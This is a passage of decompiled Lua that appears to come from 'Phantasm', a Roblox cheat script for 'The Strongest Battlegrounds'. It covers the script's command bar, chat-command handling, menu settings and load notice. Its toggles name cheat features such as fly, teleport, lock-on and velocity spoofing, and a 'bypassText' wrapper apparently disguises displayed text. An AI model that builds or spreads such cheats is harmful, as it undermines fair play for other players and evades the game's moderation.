v1658.DisplayName _TextLabel.Text = _TextBox.Text .. _TextLabel.Text:sub(#_TextBox.Text, #_TextLabel.Text) else _TextLabel.Text = v1656 end break end _TextLabel.Text = '' end end end end end end) _TextBox.FocusLost:Connect(function(p1659) if p1659 and Toggles.CommandBar.Value and not _TextBox.Text:match('^%s*$') then _TextLabel.Text = '' local v1660 = _TextBox.Text:split(' ') if v1660 then local v1661 = v1660[1] if v1661 then v1661 = v1660[1]:lower() end if v1661 and (u60[v1661] or u61[v1661]) then table.remove(v1660, 1) task.spawn(u1506, v1661, v1660) end end end _ScreenGui2.Enabled = false end) _UserInputService.InputBegan:Connect(function(p1662, _) if not _UserInputService:GetFocusedTextBox() and (p1662.KeyCode == Enum.KeyCode[Options.CommandBind.Value] and Toggles.CommandBar.Value) then _ScreenGui2.Enabled = true _TextBox:CaptureFocus() task.spawn(function() repeat _TextBox.Text = '' _TextLabel.Text = '' _RenderStepped:Wait() until _TextBox.Text == '' and _TextLabel.Text == '' end) end end) if ChatBar then ChatBar.FocusLost:Connect(function(p1663) if p1663 then if ChatBar.Text:find('^%s*;') and Toggles.UseCommandsinChat.Value then local v1664 = ChatBar.Text:find(';') local v1665 = ChatBar.Text:sub(v1664 + 1, #ChatBar.Text) if not Toggles.SendCommandInChat.Value then ChatBar.Text = '' end local v1666 = v1665:split(' ') if v1666 then local v1667 = v1666[1] if u60[v1667] or u61[v1667] then table.remove(v1666, 1) task.spawn(u1506, v1667, v1666) end end elseif Toggles.ChatPrefixEnabled.Value and not Toggles.ChatPrefixEnabled.Disabled then local _Text = ChatBar.Text ChatBar.Text = '' sendMsg(Options.ChatPrefix.Value .. ' ' .. _Text) end end end) end end) v507:AddToggle('UnlockMouse', { Text = bypassText('Unlock Mouse'), Tooltip = bypassText('Unlocks your mouse while the GUI is open.'), Default = false, Callback = function(p1669) if p1669 then while task.wait() and Toggles.UnlockMouse.Value ~= false do if not u483.Minimized then local _ScreenGui3 = Instance.new('ScreenGui', u9) local _TextButton = Instance.new('TextButton', _ScreenGui3) _TextButton.BackgroundTransparency = 1 _TextButton.Size = UDim2.new(0, 0, 0, 0) _TextButton.Text = '' _TextButton.Modal = true repeat task.wait() until u483.Minimized or Toggles.UnlockMouse.Value == false _ScreenGui3:Destroy() end end end end, }) local _Menu = v484['UI Settings']:AddLeftGroupbox('Menu') _Menu:AddToggle('KeybindMenuOpen', { Default = u477.KeybindFrame.Visible, Text = 'Open Keybind Menu', Callback = function(p1673) u477.KeybindFrame.Visible = p1673 end, }) _Menu:AddToggle('ShowUntoggledKeybinds', { Default = false, Text = 'Show Untoggled Keybinds', }) _Menu:AddToggle('ShowCustomCursor', { Text = 'Custom Cursor', Default = true, Callback = function(p1674) u477.ShowCustomCursor = p1674 end, }) _Menu:AddDropdown('NotificationSide', { Values = { 'Left', 'Right', }, Default = 'Right', Text = 'Notification Side', Callback = function(p1675) u477:SetNotifySide(p1675) end, }) _Menu:AddDropdown('DPIDropdown', { Values = { '50%', '75%', '100%', '125%', '150%', '175%', '200%', }, Default = '100%', Text = 'DPI Scale', Callback = function(p1676) local v1677 = p1676:gsub('%%', '') u477:SetDPIScale((tonumber(v1677))) end, }) _Menu:AddDivider() _Menu:AddLabel('Menu Bind'):AddKeyPicker('MenuKeybind', { Default = 'RightControl', NoUI = true, Text = 'Menu keybind', }) _Menu:AddButton('Unload', function() u477:Unload() end) _Menu:AddButton('Rejoin', rejoin) u41[#u41 + 1] = _RenderStepped:Connect(function() if not Toggles.ShowUntoggledKeybinds.Value then local _KeybindsToggle = Options.FlyBind.KeybindsToggle if Toggles.Fly.Value then _KeybindsToggle:SetVisibility(true) else _KeybindsToggle:SetVisibility(false) end local _KeybindsToggle2 = Options.AnimeTPKeybind.KeybindsToggle if Toggles.AnimeTeleportation.Value then _KeybindsToggle2:SetVisibility(true) else _KeybindsToggle2:SetVisibility(false) end local _KeybindsToggle3 = Options['L-OnKeybind'].KeybindsToggle if Toggles['Lock-on'].Value then _KeybindsToggle3:SetVisibility(true) else _KeybindsToggle3:SetVisibility(false) end local _KeybindsToggle4 = Options.OrbitBind.KeybindsToggle if Toggles.Orbit.Value then _KeybindsToggle4:SetVisibility(true) else _KeybindsToggle4:SetVisibility(false) end local _KeybindsToggle5 = Options.TP1Bind.KeybindsToggle if Toggles.TP1.Value then _KeybindsToggle5:SetVisibility(true) else _KeybindsToggle5:SetVisibility(false) end local _KeybindsToggle6 = Options.TP2Bind.KeybindsToggle if Toggles.TP2.Value then _KeybindsToggle6:SetVisibility(true) else _KeybindsToggle6:SetVisibility(false) end local _KeybindsToggle7 = Options.VelocitySpoofBind.KeybindsToggle if Toggles.VelocitySpoof.Value then _KeybindsToggle7:SetVisibility(true) else _KeybindsToggle7:SetVisibility(false) end end end) u477.ToggleKeybind = Options.MenuKeybind v478:SetLibrary(u477) v479:SetLibrary(u477) v479:IgnoreThemeSettings() v479:SetIgnoreIndexes({ 'MenuKeybind', }) v478:SetFolder('Phantasm') v479:SetFolder('Phantasm/The Strongest Battlegrounds') v479:BuildConfigSection(v484['UI Settings']) v478:ApplyToTab(v484['UI Settings']) v479:LoadAutoloadConfig() task.spawn(function() if u10 then u10.Text = string.format('Loaded in %.1f seconds!', tick() - u1) task.wait(2) while true do if u10 then u10.Text = u10.Text:sub(1, -2) end task.wait(0.03) if u10 and u10.Text == '' or not u10 then u10.Parent:Destroy() end end else return end end) u477:Notify({ Title = bypassText('Phantasm'), Description = bypassText('Script loaded successfully!'), Time = 3, SoundId = u42.Notification, }) end else return end end